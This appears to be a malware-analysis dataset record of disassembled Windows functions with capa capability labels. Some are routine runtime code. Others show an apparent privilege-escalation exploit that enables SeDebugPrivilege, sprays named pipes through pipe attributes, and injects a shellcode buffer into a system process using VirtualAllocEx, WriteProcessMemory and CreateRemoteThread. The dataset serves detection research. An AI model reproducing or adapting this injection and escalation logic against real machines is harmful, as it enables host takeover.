joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c7034
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x140151da0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1400c708b
cmp word [rdx], r13w
jne 0x1400c708b
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1400c7090
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1400c71b5
mov r11d, select
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1400c71d6
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1400c70c9
mov rdx, r9
mov word [rbx], cx
jmp 0x1400c70f0
cmp r9, r8
jae 0x1400c7100
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1400c70aa
jmp 0x1400c71b5
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400c71aa
cmp dword [rsp + 0x80], esi
je 0x1400c71aa
lea r8, [0x140151da0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1400c7182
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1400c7152
mov word [rbx], r13w
jmp 0x1400c71b2
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1400c715f
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400c71b2
cmp word [rsp + 0x70], r13w
jne 0x1400c718f
cmp rbx, r14
je 0x1400c714c
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400c7c9c
cmp word [rsp + 0x70], r13w
je 0x1400c71b5
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x140151da0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400c71af
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400c71b5
Function at 0x1400c9668
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1400c7c9c
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1400c7c9c
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1400c97b8
cmp rax, 0xffffffffffffffff
je 0x1400c97b8
xor edi, edi
test rbp, rbp
jle 0x1400c9763
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1400c4334
mov rbx, rax
test rax, rax
jne 0x1400c96f0
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400c9759
mov edx, 0x8000
mov ecx, r14d
call fcn.1400c0670
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1400c4f3c
cmp eax, 0xffffffff
je 0x1400c9739
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400c9700
mov edx, r15d
mov ecx, r14d
call fcn.1400c0670
jmp 0x1400c9759
cmp byte [rsi + 0x38], dil
je 0x1400c9750
cmp dword [rsi + 0x34], 5
jne 0x1400c9750
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], select
cmp byte [rsi + 0x30], dil
je 0x1400c9759
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1400c229c
jmp 0x1400c97cc
jns 0x1400c97cc
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1400c7c9c
cmp rax, 0xffffffffffffffff
jne 0x1400c9784
cmp byte [rsi + 0x30], dil
je 0x1400c97cc
mov edi, dword [rsi + 0x2c]
jmp 0x1400c97cc
mov ecx, r14d
call fcn.1400c9558
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1400c97cc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], select
jmp 0x1400c97cc
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1400c97c5
mov eax, dword [rsi + 0x2c]
jmp 0x1400c97ca
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1400c7c9c
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x1400cbcd8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400cbd08
xor eax, eax
jmp 0x1400cbdcb
mov rbp, rbx
cmp word [rax], si
je 0x1400cbd2d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400cbd14
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400cbd10
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400ca3f0
movsxd r14, eax
test eax, eax
jne 0x1400cbd6b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400cbd01
mov rcx, r14
call fcn.1400c22d8
mov rdi, rax
test rax, rax
jne 0x1400cbd84
xor ecx, ecx
call fcn.1400c229c
jmp 0x1400cbd60
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400ca3f0
test eax, eax
jne 0x1400cbdb5
mov rcx, rdi
call fcn.1400c229c
jmp 0x1400cbdbf
xor ecx, ecx
call fcn.1400c229c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400ce9e8
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1400c3ae4
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400cea89
cmp ebx, dword [rsp + 0x30]
je 0x1400cea82
test esi, esi
je 0x1400cea82
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1400cea5d
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400cea6a
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400cea47
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400cea6e
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400cea8b
mov eax, 1
jmp 0x1400cea8b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400d1948
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1400b1730
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400d19d2
cmp byte [rbp - 0x21], r15b
je 0x1400d19cd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400d1a08
call fcn.1400c5a2c
test eax, eax
jne 0x1400d19f4
cmp byte [rbp - 0x21], r15b
je 0x1400d19ec
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400d1a08
cmp byte [rbp - 0x21], r15b
je 0x1400d1a05
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400bad34
test eax, eax
jne 0x1400d1aa8
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1400b1730
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400d1a47
cmp byte [rbp - 0x21], r15b
je 0x1400d1a7c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400d1a7c
call fcn.1400c5a2c
test eax, eax
jne 0x1400d1a68
cmp byte [rbp - 0x21], r15b
je 0x1400d1a61
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400d1a7c
cmp byte [rbp - 0x21], r15b
je 0x1400d1a79
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400bad34
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400d1aa8
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400d1aab
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400d1ab9
mov rcx, rdi
call fcn.1400c229c
cmp byte [rbp + 0x3f], r15b
je 0x1400d1ac8
mov rcx, qword [rbp + 0x27]
call fcn.1400c229c
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x1400d2ca0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400d2cc8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400d2cc8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14001114a
Capabilities:
Acquire debug privileges

Disassembly:
jmp 0x140011a30
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x178], rax
lea rcx, [0x14002b0a4]
call fcn.140011465
nop
mov dword [rbp + 0x64], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0x88], rax
lea r8, [rbp + 0xa8]
mov edx, 0xf01ff
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
nop
cmp qword [rbp + 0xa8], 0xffffffffffffffff
jne 0x140011aba
lea rcx, str.Failed_to_retrieve_process_token_handle__n
call fcn.140011208
nop
mov eax, 0xffffffff
jmp 0x140011b27
mov eax, 0xc
imul rax, rax, 0
lea rax, [rbp + rax + 0x38]
mov r8, rax
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
nop
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0x40], 0
mov dword [rbp + 8], 1
mov dword [rbp + 0xc], 1
mov r8d, 0xc
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x10]
call fcn.140011226
nop
lea r8, [rbp + 0x64]
lea rdx, [rbp + 8]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_PrivilegeCheck]
nop
mov eax, dword [rbp + 0x64]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001fa70]
call fcn.1400113e8
mov rax, rdi
mov rcx, qword [rbp + 0x178]
xor rcx, rbp
call fcn.140011221
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x140011154
Capabilities:
Terminate process

Disassembly:
jmp 0x140013770
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x10668
call fcn.1400110be
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x4012
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x10688]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x10638], rax
lea rcx, [0x14002b0a4]
call fcn.140011465
nop
lea rax, [rbp + 0x10]
mov rdi, rax
xor eax, eax
mov ecx, 0x10000
rep stosb byte [rdi], al
mov qword [rbp + 0x10028], 0
jmp 0x1400137f3
mov rax, qword [rbp + 0x10028]
inc rax
mov qword [rbp + 0x10028], rax
mov rax, qword [rbp + 0x10660]
mov rax, qword [rax]
cmp qword [rbp + 0x10028], rax
jae 0x1400138c8
imul rax, qword [rbp + 0x10028], 0x10
mov rcx, qword [rbp + 0x10660]
lea rax, [rcx + rax + 0x20]
mov rcx, qword [rbp + 0x10660]
mov r8, qword [rcx + 8]
lea rdx, [rbp + 0x10]
mov rcx, rax
call fcn.14001131b
test eax, eax
jne 0x14001385d
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Failed_to_get_pipe_attribute__
mov rcx, rax
call fcn.140011410
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov rax, qword [rbp + 0x10660]
mov rax, qword [rax + 8]
sub rax, 2
mov rcx, qword [rbp + 0x10660]
mov rcx, qword [rcx + 0x10]
add rcx, 2
mov r8, rax
lea rdx, [rbp + 0x10]
call fcn.14001119f
test eax, eax
je 0x1400138c3
lea rcx, str.___get_pipe_attribute____One_of_the_buf_returned_a_different_input___n
call fcn.140011208
nop
mov rax, qword [rbp + 0x10660]
mov rax, qword [rax + 8]
sub rax, 2
mov r8, rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x10668]
call fcn.140011226
nop
mov eax, dword [rbp + 0x10028]
jmp 0x1400138cd
jmp 0x1400137e2
mov eax, 0xffffffff
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001f100]
call fcn.1400113e8
mov rax, rdi
mov rcx, qword [rbp + 0x10638]
xor rcx, rbp
call fcn.140011221
lea rsp, [rbp + 0x10648]
pop rdi
pop rbp
ret

Function at 0x140011249
Capabilities:
Write file on windows

Disassembly:
jmp 0x140014640
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x138
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x12
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x158]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xf8], rax
lea rcx, [0x14002b0a4]
call fcn.140011465
nop
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rax, qword [rbp + 0x120]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x1400146ef
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_writing_to_pipe_with_error__d___n
call fcn.140011208
nop
xor eax, eax
jmp 0x1400146f4
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001f770]
call fcn.1400113e8
mov rax, rdi
mov rcx, qword [rbp + 0xf8]
xor rcx, rbp
call fcn.140011221
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140011280
Capabilities:
Terminate process

Disassembly:
jmp 0x140016c30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400112cb
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
jmp 0x1400142f0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x290
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x64
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x248], rax
lea rcx, [0x14002b0a4]
call fcn.140011465
nop
mov qword [rbp + 8], 0xffffffffffffffff
lea rax, [rbp + 0x50]
lea rcx, [0x1400208f0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x110
rep movsb byte [rdi], byte [rsi]
mov r8d, dword [rbp + 0x270]
xor edx, edx
mov ecx, 0x10000000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
je 0x140014381
cmp qword [rbp + 8], 0
jne 0x14001439a
lea rcx, str.____Couldnt_open_system_process..._n
call fcn.140011208
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov rdx, qword [rbp + 8]
lea rcx, str.__Got_a_handle_on_a_system_Process:__08p_n
call fcn.140011208
nop
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x220
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400143ec
lea rcx, str.___Virtual_alloc_failed___n
call fcn.140011208
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov rdx, qword [rbp + 0x28]
lea rcx, str.__Allocation_in_system_process_succeded_with_address__08p_n
call fcn.140011208
nop
mov qword [rsp + 0x20], 0
mov r9d, 0x110
lea r8, [rbp + 0x50]
mov rdx, qword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14001443b
lea rcx, str.___WriteProcessMemory_failed___n
call fcn.140011208
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0x28]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x178], rax
lea rcx, str.__Writing_in_system_process_succeded_n
call fcn.140011208
nop
cmp qword [rbp + 0x178], 0
jne 0x1400144a1
lea rcx, str.___CreateRemoteThread_failed___n
call fcn.140011208
nop
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
jmp 0x1400144ae
lea rcx, str.__Remote_thread_created___n
call fcn.140011208
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x40]
lea rdx, [0x14001fb20]
call fcn.1400113e8
mov rcx, qword [rbp + 0x248]
xor rcx, rbp
call fcn.140011221
lea rsp, [rbp + 0x250]
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400112d5
Capabilities:
Terminate process

Disassembly:
jmp 0x140012a50
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x1668
call fcn.1400110be
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x412
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1688]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x1638], rax
lea rcx, [0x14002b0a4]
call fcn.140011465
nop
mov r8d, 0x1000
mov edx, 0x48
lea rcx, [rbp + 0x10]
call fcn.140011375
nop
mov rax, qword [rbp + 0x1678]
mov qword [rbp + 0x1028], rax
cmp qword [rbp + 0x1028], 8
ja 0x140012ae7
mov qword [rbp + 0x1028], 9
cmp qword [rbp + 0x1028], 0x1000
jb 0x140012aff
mov qword [rbp + 0x1028], 0xfff
mov rax, qword [rbp + 0x1660]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1028]
mov qword [rax + 0x18], rcx
mov rax, qword [rbp + 0x1660]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1668]
mov qword [rax + 0x20], rcx
mov rax, qword [rbp + 0x1660]
mov rax, qword [rax + 0x10]
mov rcx, qword [rbp + 0x1660]
imul rcx, qword [rcx + 8], 0x10
lea rax, [rax + rcx + 0x20]
mov r8d, 0x1000
lea rdx, [rbp + 0x10]
mov rcx, rax
call fcn.14001131b
test eax, eax
jne 0x140012b7f
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Failed_to_set_pipe_attribute__
mov rcx, rax
call fcn.140011410
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov r8, qword [rbp + 0x1678]
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x1670]
call fcn.140011226
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14001f200]
call fcn.1400113e8
mov rcx, qword [rbp + 0x1638]
xor rcx, rbp
call fcn.140011221
lea rsp, [rbp + 0x1648]
pop rdi
pop rbp
ret

Function at 0x140011325
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017f80
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017fa0
xor al, al
jmp 0x140018021
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017fb3
xor al, al
jmp 0x140018021
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140017fdd
xor al, al
jmp 0x140018021
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017ff1
xor al, al
jmp 0x140018021
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140018003
xor al, al
jmp 0x140018021
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001801f
xor al, al
jmp 0x140018021
mov al, 1
add rsp, 0x38
ret
Function at 0x140011357
Capabilities:
Create pipe

Disassembly:
jmp 0x140013120
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14002b0a4]
call fcn.140011465
nop
mov dword [rbp + 4], 0
mov rax, qword [rbp + 0x108]
mov rcx, qword [rbp + 0x108]
add rcx, 8
mov r9d, dword [rbp + 0x100]
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x14001318b
lea rcx, str.____Failed_creating_Pipe_r_n
call fcn.140011208
nop
xor eax, eax
jmp 0x140013190
mov eax, 1
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140011384
Capabilities:
Terminate process

Disassembly:
jmp 0x1400131c0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rcx, [0x14002b0a4]
call fcn.140011465
nop
imul rax, qword [rbp + 0x160], 0x10
add rax, 0x30
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 0x168]
add rax, 1
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140013263
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov r8, qword [rbp + 0x168]
lea rdx, str.____Failed_to_alloc_data_buf_of_size__d_in_prepare_pipes___n
mov rcx, rax
call fcn.140011410
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
cmp qword [rbp + 8], 0
jne 0x14001328e
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Failed_to_alloc_pipe_spray___n
mov rcx, rax
call fcn.140011410
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov r8, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x28]
call fcn.140011226
nop
mov rax, qword [rbp + 0x168]
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov byte [rax], 0
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x28]
mov qword [rax + 0x10], rcx
mov rax, qword [rbp + 8]
mov rcx, qword [rbp + 0x160]
mov qword [rax], rcx
mov rax, qword [rbp + 0x168]
sub rax, 0x38
mov rcx, qword [rbp + 8]
mov qword [rcx + 8], rax
mov qword [rbp + 0x48], 0x10000
cmp qword [rbp + 8], 0
jne 0x14001331a
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Failed_to_alloc_pipe_spray___n
mov rcx, rax
call fcn.140011410
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
mov qword [rbp + 0x68], 0
jmp 0x14001332f
mov rax, qword [rbp + 0x68]
inc rax
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 8]
mov rax, qword [rax]
cmp qword [rbp + 0x68], rax
jae 0x140013380
imul rax, qword [rbp + 0x68], 0x10
mov rcx, qword [rbp + 8]
lea rax, [rcx + rax + 0x20]
mov rdx, rax
mov rcx, qword [rbp + 0x48]
call fcn.140011357
test eax, eax
jne 0x14001337e
mov ecx, 2
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
lea rdx, str.____Failed_to_alloc_one_pipe___n
mov rcx, rax
call fcn.140011410
nop
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
nop
jmp 0x140013324
